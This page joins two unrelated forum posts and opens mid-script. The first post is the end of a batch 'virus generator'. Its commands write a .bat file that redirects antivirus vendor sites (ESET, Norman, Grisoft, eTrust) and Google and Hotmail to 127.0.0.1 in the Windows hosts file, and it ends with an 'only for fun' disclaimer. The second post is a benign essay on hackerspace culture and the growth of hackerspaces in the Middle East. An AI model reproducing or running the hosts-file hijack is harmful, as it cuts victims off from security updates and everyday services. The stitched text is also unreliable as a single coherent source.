www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Posted by Vinylshakers 10 years ago


The Middle East and the Global Hackerspace Movement

Please follow me and imagine this. You're in a city and are taking a rattling train somewhere to the edge of town. The buildings get shorter as they get wider. You are entering the industrial area where the jobs dried up long ago. Where there are more broken windows than whole ones in each building. You pass the streets your parents warned you about and a street covered in "DO NOT CROSS" tape. Two stops later you get off at the stop your friends told you about questioning your sanity and wondering why your friends brought you out there. The graffiti is beautiful though, and somewhere in the distance you can hear the thump of heavy bass. The address your friend gave you can't be right, you look up and see a massive complex thankfully this one seemed to have more of it's windows intact. You push the rusting door noticing the rough texture and surprising heft. You walk in and see a roughly refinished hallway. The drywall isn't yet painted but it appears that this massive factory has been transformed on the inside. You pass a few drywalled off artists studios on the first floor and they smile at you with plaster in their hair. It smells like lavender and you notice you just passed an artist making candles. The "hackerspace" your friend told you about is on the second floor. So you walk to the cargo elevator and push the call button. It makes a horrifying rattling sound as it descends to meet you, instead of a door it has a grate. You take it up and as it slowly moves you can see concrete, then wood and suddenly the thumping bass get's louder - Hello Skrillex. It's too much to take in at first, you only notice the chaos. There are tools everywhere and in every state of operation. A wall of computer monitors lines the back wall. There's someone binding books in the corner, and what appears to be a viking with knitting needles sitting in what appears to be a lounge, he looks up and smiles at you and says "welcome to Scrumspace*!" you've arrived at your first hackerspace. Notice an open basket of dollar bills and place a 2 dollar donation in the basket near the fridge and grab yourself a drink from the fridge in the kitchen. You walk into a common area painted like a scene from Super Mario with what appear to be server racks painted as the tubes. Finally you see your friend. He walks in with a scorched shirt and you see his eyes twinkling through the welding goggles. "Told you this place is awesome!" he says. Hackerspace Values and Culture Hackerspaces like this exist almost all over the world. These places collect (and perhaps helps inspire) people who are passionate initiators. Walking into one you might find someone who wants to share a new iPad application which monitors the GPS on the weather balloon they've released -"It's over //CHINA// right now!!". People in hackerspaces are happy to share, it's a part of the culture! Interacting with them is often uplifting and inspiring. They are building and creating things they think is amazing. They may be playing with technology or science or art without concern for the categories. The only apparent question they ask themselves is how AWESOME is this!? It's a contagious atmosphere of capability where people learn from each other constantly. They can't help it! People are so passionate about what they are doing, they inadvertently teach. The other feature of a hackerspace which is more important is that they give people a venue. It's an open space that is owned by the members. Need a place to host a workshop on hat felting, it's yours! Need a place to build the first prototype of your product? Just make sure you pack it in the lockers when you're done working on it! The atmosphere is fundamentally collaborative. It can't be anything except participatory because of the way the spaces are most often organized and run. There is no single owner. Everyone pays for a portion of the rent, and more importantly everyone brings something new to the table. They might bring with them a new tool, their coffee machine, a desire to set up a program to run a STEM program for children. The spaces become a snapshot the local community of amazing people and their projects. Many of these people started developing their projects during their final years in university. But their is a gap between a school project and feeling capable to take it and turn it into something yourself. I'd love to start here. With these fresh graduates. These young people who (perhaps not coincidentally) are also the driving force behind the revolutions of the middle east. This is a great place to start. These are the young people changing their countries today. They feel empowered to change long standing traditions and the culture of oppression in their governments. Perhaps it's also time to give them the tools to do the same for their local communities. Where they have the ability to have a more direct impact. Who the heck cares about the government if you are free to repave your roads, create alternative energy from solar power, clean your own water and start your own online webstore distributing products that are rapidly prototyped and drop shipped to other places around the world. Sure you might call this line of reasoning anarchistic. But when the systems around you are falling apart, banding together to pick up the pieces is the admirable thing to do. Social entrepreneurship in the states often focuses on countries outside the states. They basically act as for profit NGOs. Non profit organizations as they operate in America don't exist in the middle east. Thus I'm beginning to think that the concept of social entrepreneurship might just be a great way forward for these countries. Doing well by doing good! This concept is a development hack, and one that could possibly have it's roots in the Hackerspace scene. There are features of hackerspaces that I see can give rise to more DIY social entrepreneurship in the middle east. They are: 1) The culture of good. Make something wonderful. Share it with others online and off. Be inspired and inspiring. 2) The availability of tools along with the docracy culture. If you want to see it, do it. 3) A supportive global and local community which has within it stories of other successes to emulate. Where does this culture come from? It appears to be derived from the open source movement. Open source technology is often spearheaded by a few individuals but is maintained, built and supported by a global community of makers who want the tech for themselves as well. Do you want to see that feature? Write it? But don't edit the program and keep it to yourself! Share! That's a doocracy combined with the culture of sharing that the internet helps so much to support. All of this seems to be directed by the common value for people of all ideologies. The golden rule. Do for others as you wish to have done for yourself. Do you want free tools. Freedom. Access to clean water? A cheap space to build projects? Free vector drawing software? Be a doer. Be a part of the change. And then share with others. Your vision is what makes the future. These are some of the amazing features of these spaces. This is why I am in love with hackerspaces, open source technology and makers of all types. They are beautiful people who come from all types of backgrounds who get together to create a culture of sharing and collaboration that enhances their local communities and connects them globally. If you have not visited your local hackerspace yet, visit it. If you live in a place without a space, put your name up on hackerspaces.org, I'm sure you will find like minded people who crave this type of community. Hackerspaces in the Middle East Now that we have described hacker culture and hackerspaces can a space like this become a the hub and home of amazing people in the Middle East? Does the west have a monopoly on awesome. Absolutely not. Are middle easterners creative Heck yes! Are they inspired to work collaboratively? Heck yes! Are they educated? Heck yes! Do they want to fix the problems they see around them? Heck YES! Are they powerful? Heck YES! Again and again I've seen example after example of the young people in the middle east (yes, those that are 30% unemployed) showcasing example after example of incredible projects. And talking to them a message I hear over and over is that they want to show the world that in Beirut, Baghdad, or Cairo things other than violence is created. They want to create positive news that goes out to the world. They want to reach out to the world and participate in sharing! Here's a short list of incredible people I've met personally in my two short trips to the middle east: Bassam Jalgha Tarek Ahmed Ahmed Tohamy Salma Adel Rami Ali's Smart Breadboard Marc Farra Maya Kreidieh Cairo Hackerspace Book Scanner Project An awesome home automation system in Baghdad Iraq Mustafa Elnagar Furkan Alp Pehlivan Hind Hobeika's Butterfleye Project Jad Berro's Tank Robot Mounir Zoorob Octocopter! Here's a video of Munir's octocopter: Beirut is beautiful:   One incredible graduation project by Cairo Hackerspace organizer Salma Adel is one that focuses on the very heart of the maker movement and looks at the artisan as the creator of value. How do you take new design, match it with old technology and create amazing new products. I'm proud to know she's an active memeber at Cairo Hackerspace:  I hope I have shown you that there are already "hackers", makers and entrepreneurs there in the middle east. People with the open source attitude Arabs with the culture of sharing and collaboration. There are many here that work with the Google Technology User Groups or other open source initiatives. Linux user groups. Tons of coworking spaces. And some incredible incubators and entrepreneurship cultural development projects. Android phones are more popular in Egypt than the iPhone from my own small survey. It might have initially started as a cost issue has turned into a passion with Ubuntu, firefox, Android and other open source technologies really taking off. A few things were missing though. If you read hacker news you will begin to think that anyone with a desire to make foursquare mashups is an entrepreneur. In the middle east we have incredibly skilled people languishing after college while their counter parts in the west are out attempting to recreate Facebook. Why?! I think it has to do with the lack of proper story telling about entrepreneurship in the Middle East. Wamda seems to be helping greatly in that regard, but we need more publications talking about this issue! This also comes in concert with an inability to find cofounders. Why? A lack of collaboration? Why? A lack of self initiated projects? Solution? Do stuff. Just do it. Where? Here. At your local hackerspace. Do you have an interesting idea you want to try? A drone to take ariel pictures of the pyramids? Or a service like Utlub which delivers soap to bathers who are wet and realize they ran out of soap. Well in a space like a hackerspace you can do it! The tools are there. But more importantly you will find collaborators! People who are willing to jump on board to help!al Patterns of Propagation The Arab world is not just ready for Hacker culture, hacker culture is already there. My work with GEMSI is simply to connect the right people together and showcase the awesome possibilities hackerspace afford their communities and attempt to create the right environment to allow these amazing people to take their own future into their hands like they already are, but to do it not only politically, but financially, and with direct community education and organizing. Before I went to the middle east I was privileged to participate in the rise of the hackerspace movement in the United States. In 2007 there were very few (if any self identified) hackerspaces in the United States. That same year Mitch Altman, Bre Pettis, and Nick Farr went on a trip to Germany visiting the hackerspaces that were there. Being filled with inspiration and the realization that these spaces were created by PEOPLE who wanted to set them up. They came back to the states and started Noisebridge, NYCResistor and HacDC respectively. Due to the culture of sharing, they started putting up projects online. They shared the process of creating these spaces. And slowly at first people started noticing that they too could start their own local community spaces for creation and we started seeing them grow rapidly. The mathematical name of the function that describes this type of growth is exponential. The more spaces that existed that have this culture of sharing the more people heard about them and wanted them in their own cities. Then something wonderful happened. The economy collapsed in 2008 which had two very positive effects on the development of hackerspaces:  People were freed from their jobs  Space was becoming cheap as tons of manufacturing facilities were abandoned. Check out this chart which shows the rapid growth of hackerspaces and the acceleration around 2008/9. Hacker culture is an attitude that anything can be done by any resource available. MacGyver will make you a mouse trap from your sunglasses and your underpants. A hacker would use it to make a one way privacy screen for your cellphone. But how do you transmit a culture? This is why a space is so important. Having a place where people can sit with others and recognize the possibilities. To see the value in the stuff they know, to share it with others and to build together. The first few hackerspaces that are being set up in the middle east have the same property of viral transmission as we saw in America. Istanbul Hackerspace and Base Istanbul are both hackerspaces in Turkey. Istanbul Hackerspace being in the European part and Base Istanbul in asian section. As widely spread apart as they are, they both have something in common. Both founders had visited a hackerspace, one in Japan and the other in Germany before coming home and deciding they wanted to start one there. It's kind of incredible to see the same pattern repeat in the middle east. This appears to be a universal need, the need for community, creativity and having a open space to build your future. The pattern has been proven in Egypt as well. Alexandria's hackerspace initiative was galvanized after a delegation of students visited  Cairo Hackerspace two hours to the south. It's exciting to see the very same forces at work that took the hackerspaces from being a concept barely known to having a large impact on the American Entrepreneurial and cultural landscape in five short years years at work in Egypt. Cairo Hackerspace currently is without their space but is actively seeking a new one and it's one of my current goals to help in any way I can. Let's conclude with the list of hackerspaces just starting up in Egypt and Beirut. This is just the start. Keep an eye on these guys and know that there will be many many more to come: Egypt: Cairo Hackerspace El Minya Hackerspace Alexandria Hackerspace Mansoura Hackerspace Egypt Fablab (Same idea ;) Lebanon: Beirut Hackerspace (link coming soon) If you'd like to talk more about the global development of hackerspaces. Let's continue talking online at GEMSI's facbebook group. *Scrumspace does not exist as a hackerspace. If you like the name take it!

Posted by lamedust 6 years ago